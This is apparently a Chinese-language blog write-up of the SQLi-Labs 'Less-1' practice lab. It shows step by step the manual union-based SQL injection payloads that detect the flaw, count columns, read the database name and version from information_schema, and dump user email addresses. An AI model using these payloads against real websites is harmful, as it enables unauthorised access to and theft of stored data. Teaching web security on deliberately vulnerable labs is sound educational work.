web渗透测试

SqlLib_less-1

2019-08-20  本文已影响0人  求余的小屋

① 访问网址,测试是否存在SQL注入

正常访问

http://www.sqllib.com/less-1/?id=1

目前页面上在有两处显示信息

正常访问

异常测试

http://www.sqllib.com/less-1/?id=1'

http://www.sqllib.com/less-1/?id=1' and '1

... ...

单引号测试 布尔测试

报错信息

报错信息中,没有对我输入的单引号进行转义,传入的 id 参数有可能是字符型,后面注入时要尝试闭合单引号

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'' LIMIT 0,1'

② 查询当前网页,使用的表名,包含的字段数量

输入 order by 1~99,直到页面显示异常

order by 3--+
猜解字段数量
order by 4--+
猜解字段数量_2

③ 判断查询的信息,在页面显示的位置

union select 1,2,3
判断信息回显位置

如图,最终确认,2,3是信息回显的位置,后面的语句中,"1" 最好替换为 "null"

避免数据库出现异常。

④ 查询数据库名、表名

union select null,database(),version()--+
查询数据库、以及版本
union select null,table_schema,table_name from information_schema.tables where table_schema='security' limit 0,1--+
查询库中包含的表名

改变 limit m, n 中的 m, 从表中一行行查询 0~99

查询到users表

⑤ 查询 "security" 库中的 "emails" 表所包含的字段名

union select null,table_name,column_name from information_schema.columns where table_schema='security' and table_name='emails' limit 0,1--+
第一个字段 第二个字段

⑥ 获取用户邮箱信息

union select null,id,email_id from security.emails limit 0,1--+
查询用户邮箱 查询用户2

用户邮箱

总结

首先,要判断出从 id 传入的参数,是字符串,还是数字(int)型

id=' union select ... --+'
id=-1 union select ...
id=1 and 1=2 union select ...

然后,通过常见的报错信息,可以大致判断注入的类型(看运气,实战大多盲注)

最后,手工输入需要耐心和细心,有时候注入的语句没有效果

很有可能是手误敲错字母,漏掉了单引号之类的... ...

有不足和错误之处,欢迎留言讨论~

上一篇 下一篇

猜你喜欢

热点阅读